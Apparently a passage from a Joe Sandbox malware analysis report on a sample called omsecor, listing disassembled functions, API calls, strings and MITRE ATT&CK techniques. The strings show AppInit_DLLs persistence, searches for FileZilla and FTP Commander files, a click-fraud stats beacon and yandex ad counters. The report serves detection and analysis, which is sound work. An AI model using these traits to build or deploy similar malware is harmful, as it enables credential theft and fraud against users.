J(@, xrefs: 0040A29E, 0040A2A1

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: String$AllocCountFreeMessageTick$DispatchPeekSleep_memset
String ID: J(@
API String ID: 3143865713-2848800318
Opcode ID: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction ID: bfa1c3e5fdaec5be4dfb18607c12502589e7fd5433bac8caf4aacda455aa0499
Opcode Fuzzy Hash: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction Fuzzy Hash: 3A118F72D10219ABCB00DFA9DD448DEBBB9FF08354B11456AF415B7290E770AE14CFA4

Function 00408604 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 53registryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows NT\CurrentVersion\Windows,00000000,00000001,?,?,00000000), ref: 00408628
GetLastError.KERNEL32(?,00000000), ref: 0040864A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

DeleteFileW.KERNEL32(C:\WINDOWS\system32\gbdwpbm.dll,?,00000000), ref: 00408687

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(0040EA48,00000000,00000000,00000000,00000000,00020006,00000000,00000002,0040EA48,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

Strings

C:\WINDOWS\system32\gbdwpbm.dll, xrefs: 00408682
AppInit_DLLs, xrefs: 00408639, 00408671
Software\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 00408619, 0040861E, 00408676

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: CloseCreateDeleteErrorFileLastOpenQueryValue
String ID: AppInit_DLLs$C:\WINDOWS\system32\gbdwpbm.dll$Software\Microsoft\Windows NT\CurrentVersion\Windows
API String ID: 4026185228-3265104503
Opcode ID: b4fb547f36a341d56e63cd8c3141924342823e6c0e28cdd89059e7ce4998d0d2
Instruction ID: 1689b80d2e7b4165945397198c320d7ed833f5e108bfbebac4dfc06446509e60
Opcode Fuzzy Hash: b4fb547f36a341d56e63cd8c3141924342823e6c0e28cdd89059e7ce4998d0d2
Instruction Fuzzy Hash: 99014CB2A44124B6E62067665E06F9B72AC9B00750F220D7BF905F31C0DABA9D1446AD

Function 00409A99 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409B00
SysAllocString.OLEAUT32(?), ref: 00409B0E

Strings

</url>, xrefs: 00409ACC
<title>, xrefs: 00409AAC
</title>, xrefs: 00409AA7
<url>, xrefs: 00409AD1

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: </title>$</url>$<title>$<url>
API String ID: 2525500382-2286408829
Opcode ID: accc4c2b32817054c02e480ca82d26facf4490b578c9b74d600f9b3addd9539d
Instruction ID: e94fff7a9c4556839c155ffec7726d55edf757161a42396596b5093e86978141
Opcode Fuzzy Hash: accc4c2b32817054c02e480ca82d26facf4490b578c9b74d600f9b3addd9539d
Instruction Fuzzy Hash: 4F01DB7564021CA7DB116A55CC41FD637A8BB44799F044077FA04F32C3E978AA0C4BA4

Function 0040A8F9 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 161sleepmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,?,?,?,?,00402C8F,00000032,00000000,00000000,00000000,00000000,?), ref: 0040A91C
Sleep.KERNEL32(00002710), ref: 0040AAC1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040AAE9
HeapFree.KERNEL32(00000000), ref: 0040AAF0

Strings

0, xrefs: 0040AA5B
jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s, xrefs: 0040A957

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: HeapSleep$AttemptConnectFreeInternetProcess
String ID: 0$jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s
API String ID: 3713053250-1268808612
Opcode ID: b149150f67450d10939e037a4072d5df3dc9b6793fc6db3c061519f1f12da8b2
Instruction ID: cb73c9a78e41fc00613c6eff30345c36a412e41c8c720ed22b53be089701fd16
Opcode Fuzzy Hash: b149150f67450d10939e037a4072d5df3dc9b6793fc6db3c061519f1f12da8b2
Instruction Fuzzy Hash: 88515072A00218A6CF10EB95DC959DF737DEF44308F40447BF406B7281EB789A958FAA

Function 00407499 Relevance: 9.1, APIs: 6, Instructions: 62timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?), ref: 004074AD
GetLocalTime.KERNEL32(00000000), ref: 004074B3
GetTimeZoneInformation.KERNEL32(?), ref: 004074EA
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407525
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040752F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040754A

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Time$FileLocalSystem$InformationUnothrow_t@std@@@Zone__ehfuncinfo$??2@
String ID:
API String ID: 3777474486-0
Opcode ID: dc75d57b0fd5e0fdd9494c9f665b53f3e55cd7f2b0e9017e93342081d6970c63
Instruction ID: c9ff0a62426275c5a0d4f0aa0fa2549fa158b312224671bef63f429b7f92df75
Opcode Fuzzy Hash: dc75d57b0fd5e0fdd9494c9f665b53f3e55cd7f2b0e9017e93342081d6970c63
Instruction Fuzzy Hash: 03112C72D1022DAADF00EBD4DC44AEEB7FCBF48314F04445AE901B7240E7B9A608CBA5

Function 0040A0B5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040A0C0
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

Shell.Explorer, xrefs: 0040A0E8
AtlAxWin, xrefs: 0040A0ED

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: CreateHandleInitializeModuleWindow
String ID: AtlAxWin$Shell.Explorer
API String ID: 950422046-1300462704
Opcode ID: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction ID: 8885d0d040d3ab3e1edd42f45155a7fe84e7bff231f75e8e802cb7627400a982
Opcode Fuzzy Hash: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction Fuzzy Hash: 78118F30200200FFD320ABA6CC4CE6B7BBCEFCA711B240579F515EB291D7789801CA65

Function 00407267 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,000003E8,?,?,?,?,?,?,?,?,?,?,?,00407B63,?), ref: 0040727C
SystemTimeToFileTime.KERNEL32(?,?,?,000003E8,?), ref: 004072C1
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 004072CB
__aulldiv.LIBCMT ref: 004072E3

Strings

c{@, xrefs: 004072D3

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: c{@
API String ID: 3735792614-264719814
Opcode ID: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction ID: ef19eb4ac8525f4bf2260e0142840e6d018c3cac6eb9bd4f47b1f5cd165e8a78
Opcode Fuzzy Hash: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction Fuzzy Hash: D401DE62D1022DAACB01DFE4D984CEFB77DFF44348B00156AE901F7250E7B5AA4887A5

Function 004072ED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040286E), ref: 004072F9
SystemTimeToFileTime.KERNEL32(?,?), ref: 00407337
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 00407341
__aulldiv.LIBCMT ref: 00407359

Strings

n(@, xrefs: 0040734C, 00407357

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: n(@
API String ID: 3735792614-2525614082
Opcode ID: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction ID: 0875687ad9f8fbdff1f190dbab39d4211c2ed1a8acd2afdabfbd9ccbaffc37b8
Opcode Fuzzy Hash: fb9972a15ff1dd7e61217f7ff9a5823acba4978d5a12943579487cf22718de7c
Instruction Fuzzy Hash: 83011A66D2022DAACF00DBE5DD44CEFB7BCFF44344B04051AE901B3210E7B5A648CBA9

Function 0040AB7C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040AB93
CharLowerW.USER32(?), ref: 0040ABA0
GetCommandLineW.KERNEL32 ref: 0040ABC0

Strings

/updatefile3, xrefs: 0040ABC6
netprotdrvss.exe, xrefs: 0040ABA6

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: CharCommandFileLineLowerModuleName
String ID: /updatefile3$netprotdrvss.exe
API String ID: 3118597399-3449771660
Opcode ID: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction ID: 1eba2a713c21f7c79877a49aa3ec6850c44e44909145826ab611dd80b60fa5a6
Opcode Fuzzy Hash: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction Fuzzy Hash: 41E09B3655021A5AD750FBB1DD07BA633ACFB01705F1049B6A246F10C0EE74D55D4F9D

Function 00408692 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5B
Part of subcall function 00409F2B: GetTickCount.KERNEL32 ref: 00409F5F
Part of subcall function 00409F2B: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
Part of subcall function 00409F2B: DispatchMessageW.USER32(?), ref: 00409F80
Part of subcall function 00409F2B: Sleep.KERNEL32(0000012C,?,?,?,?,00000000), ref: 00409F8D

CharLowerW.USER32(?,?,?,00423DD4,?,00000001), ref: 00408751
SysFreeString.OLEAUT32(?), ref: 0040875A

Strings

http://, xrefs: 00408711
+@, xrefs: 004086A0

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: CountInternetMessageTick$CharDispatchFreeLowerOpenOptionPeekSleepString
String ID: http://$+@
API String ID: 147727044-3628382792
Opcode ID: 6e9e626a4613c0855f5347982540e942ed1617b6e834c0e4f94aa1f1be06abb5
Instruction ID: 305e6509dfdc939f3ffb47eba37a7af79922f54013ecb7534e3961c93d2e4cc1
Opcode Fuzzy Hash: 6e9e626a4613c0855f5347982540e942ed1617b6e834c0e4f94aa1f1be06abb5
Instruction Fuzzy Hash: 4E41D5729002199BCF15AF66CD056EFBBB4FF44314F20447FE981B3292DB3889528B99

Function 00407D61 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00414F68,00000000,00000000,00000000,UniqueNum,00000001), ref: 00407E09
WriteFile.KERNEL32(00000078,00000064,00000001,00000000), ref: 00407E20

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

x, xrefs: 00407DEF
UniqueNum, xrefs: 00407D86

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateModuleNamePointerWrite
String ID: UniqueNum$x
API String ID: 594998759-2399716736
Opcode ID: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction ID: 8c5cde1ed6458afa5e70834db293a7f07ca8c6efd1b8e13f0da2095665a79c5a
Opcode Fuzzy Hash: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction Fuzzy Hash: F72129329002186BDF04AB74ED49DDF3B69EF44315F104636FA02E71E1E634D951C799

Function 004040E7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 0040413A

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

&, xrefs: 00404110
#, xrefs: 0040411E
*filezilla*, xrefs: 004040F6

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$*filezilla*
API String ID: 3438805939-758400021
Opcode ID: 7f420262a527ace9c0fec2a61cbcbac63df6dda7f3825d1df3812bb47b8bab04
Instruction ID: af0dd5899ef73ee7264a7e51d90439c8fcf38b6470501fb51340e8e2557856c3
Opcode Fuzzy Hash: 7f420262a527ace9c0fec2a61cbcbac63df6dda7f3825d1df3812bb47b8bab04
Instruction Fuzzy Hash: 8E1151B2901128BADB10EA92DC49EDF7BBCEF85304F00407AF605B6080E7385785CBE9

Function 00404A92 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008), ref: 00404AE5

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

ftp*commander*, xrefs: 00404AA1
#, xrefs: 00404AC9
&, xrefs: 00404ABB

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&$ftp*commander*
API String ID: 3438805939-1149875651
Opcode ID: 371d79112eeabe7a5308543586f4c365cccc6d4de9a1601f9ce447be0e8ea6cb
Instruction ID: 4761086559ade70d73b1403ca51e5d3bc462c500c99379e4fd01d7d946a964d6
Opcode Fuzzy Hash: 371d79112eeabe7a5308543586f4c365cccc6d4de9a1601f9ce447be0e8ea6cb
Instruction Fuzzy Hash: B61121B2901118BADB10AA92DC49EDF7F7CEF85704F00407AF609B6180E7799785CBA9

Function 00409445 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094A9
SysFreeString.OLEAUT32(?), ref: 004094AE

Strings

an.yandex.ru/count, xrefs: 00409478
_blank, xrefs: 0040948E

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID: _blank$an.yandex.ru/count
API String ID: 3341692771-25359924
Opcode ID: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction ID: 1eacecae91598e8b756cf85833a4a3bbf756f1dfdfc5fa02fd6c22f827bf3b29
Opcode Fuzzy Hash: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction Fuzzy Hash: 28015A35204114BBDB109FA6CD05D9B77A8EF85324724443BBC15E7291E779EE02CA69

Function 00409808 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409868
SysAllocString.OLEAUT32(?), ref: 00409876

Strings

"URL", xrefs: 00409838
"encrypted", xrefs: 00409815

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: "URL"$"encrypted"
API String ID: 2525500382-4151690107
Opcode ID: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction ID: 961e294ab5ae80d7ab2f0271a6faa46f3ea3f555f1d55132cdad114d364c87da
Opcode Fuzzy Hash: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction Fuzzy Hash: 62F0D671A0021DA7CF00AB69CC01FD637ECAB4438CF1484B6F904F32C1E974EA098B98

Function 00406C77 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Internet Explorer,00000000,00000001,00000000,?,?,00402C77), ref: 00406C91

Strings

SOFTWARE\Microsoft\Internet Explorer, xrefs: 00406C87
w,@, xrefs: 00406CA0
Build, xrefs: 00406CA6

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Open
String ID: Build$SOFTWARE\Microsoft\Internet Explorer$w,@
API String ID: 71445658-3061378640
Opcode ID: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction ID: 930cfdd3d9e2cf302383723a85cc45ac24d6ba1b6d45bcf7a76994dd36721e6e
Opcode Fuzzy Hash: 340e09b6331f5021cec00f630817528513552a638f53ca028bdc246a1c5cc706
Instruction Fuzzy Hash: FBE08672664218FAEF009B929C07FDA77ACDB00758F20086AF502F10C1DAB5F714D6AC

Function 0040848F Relevance: 6.1, APIs: 4, Instructions: 81memoryregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

Part of subcall function 0040845D: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000008,00000000,?,?,004084C5,?,?,?,00000008,?,00403796,?), ref: 00408475
Part of subcall function 0040845D: RegCloseKey.ADVAPI32(?,?,004084C5,?,?,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408484

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000008,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408524
GetProcessHeap.KERNEL32(00000000,00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 00408534
HeapFree.KERNEL32(00000000,?,00403796,?,?,00000104,?,00000000,00000008), ref: 0040853B

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Heap$CloseEnvironmentExpandFreeOpenProcessQueryStringsValue
String ID:
API String ID: 3604167287-0
Opcode ID: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction ID: 704a8cbe2313c99ccb7bf4cac6d27c9c5720caa44ca6f9902b9fd9ccb38d811f
Opcode Fuzzy Hash: debf70bf2fb47a5e7b7c0995a40a49e648bf285b45755a0d6fc166e7e3eeac12
Instruction Fuzzy Hash: 0521C871900626BBDF205B748E45ABF3668EF05328F10063EF561F22D0EB758D508658

Function 00408091 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004081A3

Strings

-, xrefs: 00408140

Memory Dump Source

Source File: 0000001C.00000002.2589397988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_omsecor.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: -
API String ID: 885266447-2547889144
Opcode ID: b815d9a6725b7b7d4663accafdf12bc662ce9b6e2c1759233b63132321253c45
Instruction ID: cbf3f064ca1262f0759db58cdf0f181467b31290bd4ebff5f053a9a619aca6df
Opcode Fuzzy Hash: b815d9a6725b7b7d4663accafdf12bc662ce9b6e2c1759233b63132321253c45
Instruction Fuzzy Hash: 58415D31D0422699CB2177B98E417BB61A9DF44758F1440BFF9C0B72C2EEBC5D8581AE

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
